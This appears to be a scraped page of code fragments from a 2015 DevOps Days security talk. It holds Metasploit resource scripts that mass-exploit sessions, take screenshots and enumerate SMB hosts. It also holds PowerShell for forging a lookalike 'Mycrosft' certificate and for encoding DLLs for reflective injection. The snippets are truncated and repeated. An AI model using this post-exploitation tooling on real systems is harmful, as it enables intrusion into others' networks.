##"DevOops & How I Hacked You"##
Ken Johnson @cktricky
Chris Gates @carnal0wnage
Devops Days Washington DC 12 June 2015
| <ruby> | |
| framework.sessions.each do |session| | |
| session.run_cmd("screenshot") | |
| end | |
| </ruby> |
| <ruby> | |
| framework.sessions.each do |num| | |
| run_single("set SESSION #{num}") | |
| print_status("Running #{active_module.fullname} against session #{num}") | |
| run_single("exploit -j") | |
| sleep 1 | |
| end | |
| </ruby> |
| <ruby> | |
| hosts = [] | |
| begin | |
| framework.db.services.each do |service| | |
| if ( service.name =~ /smb/i and service.state == 'open' and service.proto == 'tcp') | |
| hosts << {'ip' => service.host.address} | |
| end | |
| end | |
| end |
| <ruby> | |
| hosts = [] | |
| begin | |
| framework.db.services.each do |service| | |
| if ( service.port ==445 and service.state == 'open' and service.proto == 'tcp') | |
| hosts << {'ip' => service.host.address} | |
| end | |
| end | |
| end |
| ## | |
| # This module requires Metasploit: http//metasploit.com/download | |
| # Current source: https://github.com/rapid7/metasploit-framework | |
| ## | |
| require 'msf/core' | |
| class Metasploit3 < Msf::Exploit::Remote | |
| Rank = ExcellentRanking |
| function Invoke-CreateCertificate([string] $certSubject, [bool] $isCA) | |
| { | |
| $CAsubject = $certSubject | |
| $dn = new-object -com 'X509Enrollment.CX500DistinguishedName' | |
| $dn.Encode( 'CN=' + $CAsubject, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) | |
| #Issuer Property for cleanup | |
| $issuer = 'Mycrosft' | |
| $issuerdn = new-object -com 'X509Enrollment.CX500DistinguishedName' | |
| $issuerdn.Encode('CN=' + $issuer, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) | |
| # Create a new Private Key |
| <ruby> | |
| #variables | |
| maxjobs = 5 #throttling if we get too much jobs | |
| #default to 15 Threads | |
| if (framework.datastore['THREADS'] == nil) | |
| run_single("setg THREADS 5") | |
| end |
##"DevOops & How I Hacked You"##
Ken Johnson @cktricky
Chris Gates @carnal0wnage
Devops Days Washington DC 12 June 2015
| #!/usr/bin/env python | |
| import sys | |
| import msfrpc | |
| import time | |
| if __name__ == '__main__': | |
| # Create a new instance of the Msfrpc client with the default options | |
| client = msfrpc.Msfrpc({}) | |
| # Login to the msf server using the password "abc123" |
| function Invoke-DllByteEncode | |
| { | |
| #Encoder used to take a dll and turn it into a base64 encoded byte array for Powersploit's | |
| #Invoke-ReflectivePEInjection | |
| Param( | |
| [Parameter(Position = 0)] | |
| [String] | |
| $InputPath, | |
| [Parameter(Position = 1)] | |
| [String] |